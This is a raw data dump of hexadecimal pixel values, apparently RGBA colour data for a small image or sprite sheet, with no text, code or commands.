F2FF1453F2FF1453F2FF1453F2FF1653F2FF1653F2FF1453F2FF1453F2FF1453
F2FF1553F2FF1252F2FF1154FFFF4E6397FF2B974FFF16C954FF18C555FF19C6
56FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC6
56FF19C657FF18C554FF17C955FF4D8C62FF282320FF0F0E0EFF111110FF1207
05FF10242BFF18C7F7FF99C881FFF4A500FFE2A911FFE0A915FFE0A915FFE0A9
13FFE0AA14FFE0A811FFE5AC10FF93804CFF1F1F1FFF040404FF070707FF0808
08FF090909FF090909FF090909FF090909FF090909FF090909FF090909FF0909
09FF080808FF060606FF040404FF484848FF213BBCFF0031FFFF0034FFFF0034
FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0036
FFFF0F39F0FF0D38F0FF0C39FDFF4C5B96FF88AA95FFADE7C3FFABE1BFFFABE1
BFFFABE1BFFFABE1BFFFB0E2C0FFBBE5C1FFB5E4C0FFADE1BFFFABE1BFFFABE1
BFFFABE1BFFFAAE1BFFFB1EDC9FF81978AFF2A6E86FF0A0000FF0E0907FF0F0F
0FFF100C0CFF0C0000FF0B7395FF45E0ECFFDDAC19FFE8A603FFDFA910FFDEA9
11FFDEA70FFFDFA80DFFE4AB0AFF937E49FFC8C8C8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF91544CFFC25B4FFFBE594FFFC05C
4EFFBC564AFFBA5147FFBD584CFFBD584CFFBF5C50FFBF5C50FFC35D4CFFB258
5BFF002BFFFF0B2FEFFF082EFCFF4C5795FFBEBBBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFBEE9F8FF4EC7E7FF75D3ECFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA19EA0FF3F9A63FF1DD4FFFF0E2E3DFF0B00
00FF0E0D0DFF100F0FFF0E0300FF0B1F28FF10C5F7FF97C67BFFF3A300FFE1A7
0BFFDFA80DFFDFA60BFFE4AA08FF927E49FFB9B9B9FFFFFFFFFFFFFFFFFFE0EB
CEFF78AD2BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7CB0
31FFD8E7C2FFFFFFFFFFFFFFFFFF9E9E9EFF885255FFB75F62FFAF595CFFA94C
51FFC27D83FFD8ADAFFFB35F63FFBB6F74FFAD5357FFB15A5FFFB65B5BFFA657
67FF002CFFFF0C31F0FF0930FCFF4C5795FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCAEDF5FFFFFFFFFFBBE9F3FFFFFFFFFFDCF4F8FFF2F9FCFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF478E2FFF48BE23FF2EE1D9FF168A
B5FF0D0100FF0F0A08FF101010FF0F0B0BFF0C0000FF097296FF43DFEBFFDCAB
17FFE9A501FFDFA70BFFE4AA09FF927E49FFB9B9B9FFFFFFFFFFFFFFFFFFDAE7
C5FF8EB94AFFE9F2DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEDF4E4FF8DB9
48FFD6E6BFFFFFFFFFFFFFFFFFFF9E9E9EFF885457FFB76166FFB05B60FFC486
8AFFD7ACAEFFDFBFC1FFE0C2C3FFD2A1A5FFBC7378FFAE565CFFB45B5CFFA557
68FF002CFFFF0C31F0FF0930FCFF4C5795FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCFEFF7FFFFFFFFFF79D5E9FFEAF7FAFFCDEEF6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF468F37FF49BE2CFF4DB91AFF41CD
72FF20D2FFFF0F303FFF0D0000FF0F0E0EFF100F0FFF0E0300FF0B1F28FF10C5
F8FF97C679FFF3A200FFE7AA05FF927E49FFC4C6BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF875557FFB9646BFFAF565DFFD7AD
AFFFEFE0E2FFFFFFFFFFFFFFFFFFD6ACAFFFAD565BFFAE565CFFB3595AFFA455
67FF002AFFFF0B2FEFFF0A2FFCFF4B5795FFBEBFBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD3F7F6FFE1FDF9FFD9F9F9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A19EFF4A9038FF4CC031FF4EBE33FF50BC
2DFF52BF2EFF36E4DDFF1B8BB3FF0C0000FF0E0908FF0F0F0FFF0E0B0AFF0C00
00FF077196FF41DFEAFFE2AF12FF987D47FF31239CFF2910D4FF2A13D1FF2D15
D1FF2D16D2FF2C17D1FF2C17D1FF2D17D1FF2A14D0FF2913D0FF2812CFFF2812
CFFF2811D0FF2812D0FF290FD7FF50488CFF885558FFBB656AFFBC7176FFD5A8
ABFFF6EFEFFFFFFFFFFFFFFFFFFFDAB2B5FFD2A2A5FFB25C63FFBB6665FFAB61
71FF0038FFFF1340F1FF1141FDFF4C5895FF8B7CB2FFB8A0F5FFB19EEEFFB19F
EEFFB29EEEFFB29EEEFFB7A0EFFFB59FEFFFB69FEFFFB29FEEFFB29EEEFFB29E
EEFFB19FEEFFB19EEEFFBAA2F8FF827A9AFF4A9138FF50C134FF51BE36FF52C0
38FF53BF36FF56BD24FF4BD178FF2ED6FFFF193845FF120502FF151413FF1515
15FF120605FF0F222BFF1ECFFBFF758D75FF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF895559FFBC6B70FFB15B60FFE8CD
CFFFCF9B9FFFE9D0D2FFDFBEC1FFDCB7B9FFBF767BFFB7686CFFBE6A6CFFAF68
77FF003EFFFF1343F2FF1043FFFF4B5795FF4320ABFF490AECFF4A0EE7FF4B10
E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11
E8FF4B0EE8FF490DE7FF4A09EFFF5A4795FF4A9039FF52C337FF54C136FF55C1
39FF55C03AFF55C23AFF56C032FF57C235FF3EE6DEFF2492B6FF140806FF1510
0FFF151515FF130F0EFF0C0000FF496871FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF875558FFC06B72FFB9696EFFAE53
59FFE2C3C5FFE8CED1FFCE9698FFC7898FFFB66267FFBA6A6FFFBF6B6BFFAF67
77FF003DFFFF0C3FF3FF0944FFFF495593FF4926ACFF5312EEFF5316EAFF5418
EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419
EAFF5418EAFF5216EAFF5512F1FF5C4995FF499038FF53C535FF53C137FF54C2
37FF54C238FF54C238FF54C238FF54C236FF58BF25FF4CD377FF2ED7FDFF1536
42FF0E0200FF0E0D0DFF0A0A0AFF474646FF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFF92595DFFCE878AFFC88085FFC981
85FFC37278FFC98286FFC5767CFFC77A81FFC98186FFC98186FFCD8283FFC07C
8EFF2158FFFF355CFEFF3660FFFF525FA7FF5033B0FF6B39F1FF6839EEFF6938
EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939
EEFF6938EEFF6837EEFF6B39F3FF6857A4FF509741FF6BCD52FF68C950FF68CA
51FF68CA51FF68CA52FF68CA52FF68CA52FF68CA52FF6AC94AFF6ACC4EFF57EC
DBFF3D9FB9FF313131FF323232FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C6FFC6C6
C6FFC6C5C5FFC6C5C5FFC6C5C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6
C6FFC6C6C6FFC5C5C6FFC3C3C3FFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C5C5FFC5C5C5FFC5C5C5FFC6C5C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF3338A4FF252AE5FF262AE0FF1D21
DEFF8D9EFDFFBBA5A5FFB09295FFA4B5FFFF1C1FDDFF262BE0FF262BE0FF272B
E0FF262BE0FF252AE0FF252BE7FF525592FFA15040FFE25B3CFFDD5A3BFFDD5A
3CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC59
3CFFDD5A3CFFDD593BFFE25B3DFF906459FF8A9C1CFFC5E200FFC0D600FFA5E1
30FF3AFFFFFF47FFFBFF3EFFFFFFCCD000FFBCD900FFBCD800FFBCD800FFBCD8
00FFBCD900FFBCD800FFC9E600FF808D46FF1C78C5FF00A7FFFF00A0FFFF009F
FFFF009EFFFF07A4FFFFFFFFFFFFF3FFFFFFF4FFFFFFFFFFFFFF008DFFFF009F
FFFF009FFFFF00A1FFFF00AAFFFF4678A1FF3633A0FF291FD1FF2A21CEFF2117
CBFF8E94EFFFBB9B8EFFAF887BFFA4ACF5FF2115CCFF2C22CFFF2C22CFFF2C22
CFFF2B20CEFF2A20CEFF281ED3FF525191FFA64F3AFFDB522FFFD75430FFD953
31FFD95531FFD95431FFD95431FFD95431FFD95431FFD95431FFD95431FFD955
31FFD95331FFD75230FFDD532FFF956154FF848221FFACA506FFAD9F00FF95AF
33FF2BEDFFFF37E5F1FF2EECFFFFBB9700FFA9A309FFA9A309FFA9A309FFAAA3
09FFA8A109FFA9A207FFB0A805FF80804AFF2163BCFF0574FFFF0773FFFF0974
FFFF0471FFFF0D76FFFFFFFFFFFFECFFFFFFEDFFFFFFFFFFFFFF005EFFFF0974
FFFF0874FFFF0773FFFF0576FFFF4A6F9EFF382A9AFF2B15CBFF2D16C7FF260E
C6FF938FEDFFC09681FFB4836AFFA9A8F4FF250DC6FF301AC9FF301AC9FF2F18
C9FF2F19C9FF2D16C7FF2C15CDFF544E8DFF36A5B7FF27E0FEFF28DCFAFF29DC
FAFF2ADDFAFF2ADDFAFF2ADEFFFF2BDEFFFF25D8FEFF24D7F8FF2ADDFAFF2ADD
FAFF29DCFAFF28DDFAFF27E3FFFF55929CFF806C24FFA88808FFA98101FF8F95
37FF22E7FFFF2FDDF5FF25E5FFFFB57600FFA3860CFFA3860CFFA3860CFFA386
0CFFA4860AFFA2850AFFAA8908FF7C734BFF2452BAFF0859FFFF0858FFFF0A59
FFFF0555FFFF0F5DFFFFFFFFFFFFF4FFFFFFF5FFFFFFFFFFFFFF003FFFFF0A59
FFFF0959FFFF0858FFFF075BFFFF4B659CFF311F92FF2100C0FF2402BEFF1C00
BBFF9083E9FFC29374FFB77D5EFFA79FF1FF1900BBFF2504BEFF2504BEFF2504
BEFF2503BEFF2302BEFF2100C3FF504788FF2E1F88FF1600B3FF1D05AEFF1E06
ADFF1F07AFFF2008BEFF1C0479FF11003DFF483077FF573FBEFF0A00A7FF1E06
ADFF1E06ADFF1D03ADFF1600B4FF504882FF845621FFAD6100FFAF5C00FF9177
29FF17E3FFFF25D7FCFF1AE0FFFFBF5100FFAB6100FFAB6100FFAB6100FFAB61
00FFAB6000FFAA5F00FFB16200FF7D664AFF2245B7FF023BFFFF002BFFFF002D
FFFF0029FFFF0035FFFFFFFFFFFFFBFFFFFFFCFFFFFFFFFFFFFF0010FFFF002D
FFFF002CFFFF002CFFFF053FFFFF4B5C9AFF8B85B3FFB3AAF7FFB2A8F3FFAEA3
F1FFDFE1FFFFC18D72FFB5775AFFE8EDFFFFAEA4F2FFB3A9F4FFB3A9F4FFB1A9
F3FFB1A8F3FFB2A9F3FFB5ABFAFF837E9AFF26288FFF412A86FF1011B5FF1616
B8FF1919BAFF090A1EFF040400FF0E0F09FFFFFFFFFFFFFFFFFFCACBEAFF0504
ADFF1514B5FF1814B0FF3E288AFF4A4B86FF4F8079FF53A89FFF53A297FF4BAD
AEFF1CD9FFFF22D3FEFF1CD8FFFF5C9E8CFF53A69CFF53A69CFF53A69CFF54A6
9CFF52A49CFF52A59BFF54ACA0FF617C78FF213AB7FF3D63FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF0C3CFFFF4A579AFF8F6953FFBD805DFFB97B59FFB87A
58FFB5795BFFA86547FFA86245FFB5785BFFB87B59FFB87B59FFB87C59FFB87A
5AFFB87B58FFB87959FFBD7D59FF857063FF2C3386FFAE6D42FF2C3BA1FF1427
B1FF080609FF5E5E59FF777878FF383939FF717171FFB7B7B7FFBABAB1FFE0DC
F2FF0823B6FF283D9EFFBE7435FF494F83FF2BA2C0FF1BE2FFFF18DBFFFF1AD9
FFFF23D4FDFF23D4FDFF22D4FEFF1ADBFFFF1ADBFFFF1ADBFFFF1ADBFFFF1ADB
FFFF19DCFFFF17DCFFFF15E5FFFF4E8F9EFF213BB7FF3661FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF093AFFFF4A589AFF977761FFCB9774FFC89674FFC594
71FFC18E71FFAA674CFFA86347FFC18E71FFC5926FFFC5926FFFC5926FFFC592
6FFFC5916EFFC4906DFFC8936EFF8A766AFF2C2F8EFF0C29C1FF164FBAFF1946
AFFF09080EFF5D5E58FF736466FF342E2CFF5C5C5CFFB9B9B9FFBBBBB2FFD0D7
ECFF294BAAFF5669BDFF001ABEFF4D4E84FF2DA2BFFF1FE1FFFF22DCFFFF23D9
FFFF22D3FDFF21D3FDFF22D4FDFF1BDAFFFF1BDAFFFF1BDAFFFF1BDAFFFF1CDA
FFFF1BDAFFFF18DAFFFF17E4FFFF4E8E9EFF213DB7FF3763FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF093AFFFF4A589AFF776CAEFF9A87F0FF9887ECFF9482
EAFFD1CFFFFFC49578FFB77C5DFFD9DCFFFF8D7BE6FF9385E9FF9385E9FF9285
E9FF9284E9FF9083E7FF9586F0FF777296FF2C2C8EFF1C19BCFF1F28BAFF1F41
BFFF213BC5FF0A0927FFA8604BFF6F5C54FFFFFFFFFFFFFFFFFFBAB8E4FF001F
ADFF0D2FB3FF494EBAFF211EB8FF4D4D84FF48898BFF50BBBAFF51B6B2FF4BBE
C2FF29DBFFFF29D6FDFF21D8FFFF4CABA7FF46B0B4FF46B0B4FF46B0B4FF47B0
B3FF45B0B3FF44AFB2FF46B8BBFF5D8282FF213FB7FF436EFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF0C3DFFFF4A589AFF382092FF3405C9FF3608C5FF2E01
C2FF9B88ECFFCC9C7BFFC08966FFAFA2F3FF2B00C2FF340AC4FF330AC3FF330A
C3FF3409C3FF3407C4FF3404CAFF544787FF2C258CFF1D0EBBFF2111B7FF2311
B7FF2413BAFF2516C8FF130887FF413381FF9D8FDDFF4435BAFF0E00B2FF1F0E
B6FF200EB6FF1B0CB7FF1D0EBCFF4D4983FF865421FFB86700FFB96000FF9B7A
2FFF23E4FFFF31D8FFFF27E3FFFFCA5600FFB46500FFB36400FFB36200FFB362
00FFB36300FFB46300FFBE6A00FF80634AFF2644B7FF0C47FFFF0741FFFF0740
FFFF033EFFFF1149FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0021FFFF063E
FFFF053EFFFF0741FFFF0C4AFFFF4C5B9AFF3F2595FF3F10CCFF4113C8FF390A
C6FFA08DEDFFCC9E7DFFC28B67FFB3A6F4FF380AC5FF4317C9FF4317C9FF4316
C9FF4215C9FF4013C9FF400FCFFF584989FF2BABB7FF1BEEFDFF1FE9F9FF21EA
F9FF20EAF9FF22EAF9FF22EAFDFF1EE7FDFF17E0F6FF1DE6F7FF22EAF9FF21EA
F9FF20EAF9FF1EE9F9FF1BF1FFFF4D959BFF7D5B25FFAE7611FFAE6D09FF9488
42FF23E5FFFF31D9FEFF28E4FFFFBC6300FFAA7417FFAA7417FFAA7418FFAA75
16FFAA7315FFA97213FFB17710FF79674BFF2545B7FF104EFFFF104BFFFF124B
FFFF0F49FFFF1A50FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF002FFFFF134D
FFFF124CFFFF1049FFFF104FFFFF4B5B9AFF3F2396FF400BCEFF400ECBFF3805
C8FF9F8BEFFFCC9E7CFFC38C68FFB3A5F5FF3704C8FF4111CBFF4111CBFF4111
CBFF4110CBFF3F0ECAFF410AD0FF554788FF9C5943FFD76C49FFD46C4AFFD56B
49FFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D
4BFFD46C49FFD46B48FFD96E4BFF8C6459FF7E5B21FFAE750AFFAF6F02FF9589
3CFF1FE7FFFF2EDBFFFF23E4FFFFBE6300FFAB740FFFAB740FFFAB740FFFAB74
0FFFAB730EFFAA720CFFB37909FF786649FF2143B6FF0A4DFFFF0C4CFFFF0E4D
FFFF0A4AFFFF1552FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0031FFFF0F4E
FFFF0E4DFFFF0C4CFFFF0950FFFF495998FF452F9CFF5D33D6FF5831D2FF522A
D1FFAF9FF5FFD6AC90FFCC9A7CFFC0B5FCFF5028D1FF5933D3FF5933D3FF5933
D3FF5933D3FF5831D2FF5B32D6FF635597FF986454FFD08A6EFFCC886BFFCD87
6BFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD87
6CFFCD876BFFCC866CFFD0886EFF957569FF866129FFC08F39FFBD852BFFA79B
5EFF3FF1FFFF4DE6FFFF42F0FFFFCC7813FFBA8B37FFBA8A37FFBA8A37FFBA8B
37FFBA8935FFB98A35FFC08E36FF887352FF2948C3FF396CFFFF3465FFFF3566
FFFF3262FFFF3B6AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF154BFFFF3766
FFFF3566FFFF3565FFFF366AFFFF5263ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF1C73BEFF009FFFFF0098FFFF0097
FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098FFFF0098
FFFF0097FFFF0098FFFF00A2FFFF46759EFF1EA5BDFF00EAFFFF01E6FFFF02E6
FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6FFFF01E6
FFFF02E6FFFF01E5FFFF00EDFFFF4792A0FF446134FF242423FF242125FF2424
24FF252525FF252525FF252525FF252525FF252525FF252525FF252525FF2424
24FF242424FF242424FF242424FF545454FF34841FFF27AE01FF28AB02FF28AB
03FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB02FF29AB
02FF28AB03FF27AB02FF27B000FF528047FF2460AEFF0A72EEFF0A6FE8FF0B6F
E8FF0D6FE8FF0B73EBFF0C70E8FF0A72EAFF0A72EAFF0C71E8FF0B73EBFF0D6F
E8FF0B6FE8FF0A6FE8FF0972F3FF4B6F97FF22A5BEFF04DDFFFF07D8FFFF09D8
FFFF09D8FFFF09D8FFFF07D9FFFF07DAFFFF07DAFFFF07DAFFFF07DAFFFF07DA
FFFF07DAFFFF06DAFFFF04E0FFFF4694A3FF466F2FFF41871BFF24321DFF1B15
1EFF1D1D1EFF1E1E1EFF1D1D1DFF1D1D1DFF1D1D1DFF1D1D1DFF1E1E1EFF1E1E
1EFF1E1E1EFF1C1C1CFF1A1A1AFF4F4F4FFF30761FFF1F8E00FF1E8D00FF208D
00FF1F8D00FF218E00FF218E00FF218E00FF218E00FF218E00FF218E00FF1F8D
00FF208D00FF1F8D00FF1E8E00FF4E7944FF3FC4BAFF3AFFFFFF3AFFFFFF3BFF
FFFF39FFFFFF47FFEBFF3CFFFFFF54FFF7FF53FFF6FF3EFFFFFF47FFEBFF39FF
FFFF3BFFFFFF3AFFFFFF3BFFFFFF5BA19DFF249EB5FF0FC8DBFF11C5D7FF0BC7
FBFF0DC7FFFF0CCCFFFF14C3F4FF17B7EDFF17BBEFFF16BBEFFF16BBEFFF16BB
EFFF15BBEFFF14BAEFFF13B6F2FF488F9FFF40692AFF387D13FF3E8914FF2A4D
17FF130B16FF151415FF161616FF161616FF161616FF161616FF141414FF1515
15FF131313FF131313FF101010FF4D4D4DFF92A98AFFC0E3B3FFBADDADFFBADC
ADFFBCDCACFFBCDCAEFFBCDBAEFFBCDCAEFFBCDCAEFFBCDCAEFFBCDCAEFFBCDC
ACFFBADDADFFBADDADFFC3E6B4FF889683FF3FB7B7FF3AFFFFFF39FFFFFF3BFF
FFFF37FFFFFF70AF9AFF17A0D9FF1963AFFF1535CBFF1A94E3FF6EB39AFF37FF
FFFF3BFFFFFF39FFFFFF3AFFFFFF5B9A9AFF2D8881FF347000FF387200FF1075
EAFF0D72FFFF0C99FFFF2D7CCBFF3F44B0FF4C1D9AFF4A1F9CFF4B1C9AFF4B1E
9AFF4B1B99FF4B1597FF2F64C6FF4F7C95FF3C6624FF32780DFF35790EFF3881
10FF30690FFF181719FF131014FF0D0D0DFF0D0D0DFF0D0D0DFF0D0D0DFF0D0D
